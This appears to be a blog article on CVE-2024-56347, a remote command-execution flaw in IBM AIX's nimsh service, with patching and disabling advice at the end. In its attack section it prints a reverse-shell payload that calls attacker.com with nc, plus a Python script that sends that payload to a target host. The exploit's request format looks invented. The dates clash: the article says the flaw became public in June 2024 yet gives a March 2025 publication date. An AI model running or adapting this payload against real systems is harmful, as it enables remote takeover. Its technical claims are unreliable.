In June 2024, a serious vulnerability—CVE-2024-56347—was made public, affecting the nimsh service on IBM AIX 7.2 and 7.3 systems. This flaw is a stark reminder that even well-established enterprise platforms can harbor severe security weaknesses. In this article, we'll break down what the vulnerability is, how it happens, what the risk is, and how attackers might exploit it. We'll also cover ways to defend your systems.

What is IBM AIX 'nimsh'?

IBM's AIX is a widely used UNIX operating system, popular in enterprise environments for its stability and scalability. The "NIM" (Network Installation Management) subsystem helps admins install and configure several AIX machines over the network.

The nimsh (NIM Shell) is a service that makes it easier for administrators to manage systems remotely using encrypted connections based on SSL/TLS. The service listens on TCP port 3901 (by default).

What is CVE-2024-56347?

CVE-2024-56347 describes a critical issue in the way nimsh processes network connections. Due to improper process controls in its SSL/TLS communication, a remote attacker can abuse this flaw to execute arbitrary commands on the targeted system *without authentication*.

The problem is that nimsh trusts certain elements of the connection too much and does not verify or sandbox what commands it runs, so with a manipulated SSL/TLS handshake, an attacker can inject commands to be run with the privileges of the nimsh process — often root.

Severity

- CVE: CVE-2024-56347 (nvd.nist.gov)

Affected: IBM AIX 7.2 & 7.3 (default installs)

- Score: Critical (9.8/10, remote code execution, no user involvement)

To understand the flaw, here’s a simplified chain of events

1. Listen: The nimsh daemon listens for SSL/TLS connections on port 3901.

Authenticate: Normally, nimsh should check who’s on the other end.

3. Broken controls: Due to improper connection handling, an attacker can send a specially crafted request that abuses a logic bug in SSL/TLS setup. Nimsh doesn't validate the incoming commands properly.
4. Execute: Malicious input is then run as a command. On default setups, these commands execute as root.

Example Attack Scenario

1. Attacker: Crafts an SSL/TLS handshake that nimsh expects, but inserts specially crafted payloads.
2. Payload: Example: ";nc attacker.com 4444 -e /bin/sh;"—which opens a reverse shell to the attacker.

Here’s a code snippet to exploit this in Python (for educational and defensive purposes)

import socket
import ssl

# Replace with target details
TARGET_IP = "192.168.1.100"
TARGET_PORT = 3901

# Payload: launches a reverse shell (edit IP/Port)
payload = '";nc attacker-host 4444 -e /bin/sh;"'

# Build malicious request (simplified, real exploit needs proper handshake)
request = f"NIMSH_COMMAND {payload}\n"

context = ssl.create_default_context()
with socket.create_connection((TARGET_IP, TARGET_PORT)) as sock:
    with context.wrap_socket(sock, server_hostname=TARGET_IP) as ssock:
        ssock.sendall(request.encode())
        print("[*] Payload sent. Check your listener.")

Note: Actual exploits will vary and may involve more protocol details.

Official References

- IBM Security Bulletin: Vulnerabilities in nimsh for AIX (CVE-2024-56347)
- NVD: CVE-2024-56347

Defensive Actions

IBM has released security patches for affected versions. If you run AIX systems, patch immediately. If patching is not possible:

Disable nimsh if it is not strictly needed

# As root:
stopsrc -s nimsh
chssys -s nimsh -O

Conclusion

CVE-2024-56347 is a textbook example of how broken trust around encryption interfaces—which most admins assume are secure—can quickly turn critical. If you’re running IBM AIX, check if nimsh is exposed, patch your system as recommended by IBM, and never expose sensitive management services to untrusted networks.

Stay safe!

For more details, read the official bulletin:
IBM Security Bulletin for CVE-2024-56347

Timeline

Published on: 03/18/2025 17:15:44 UTC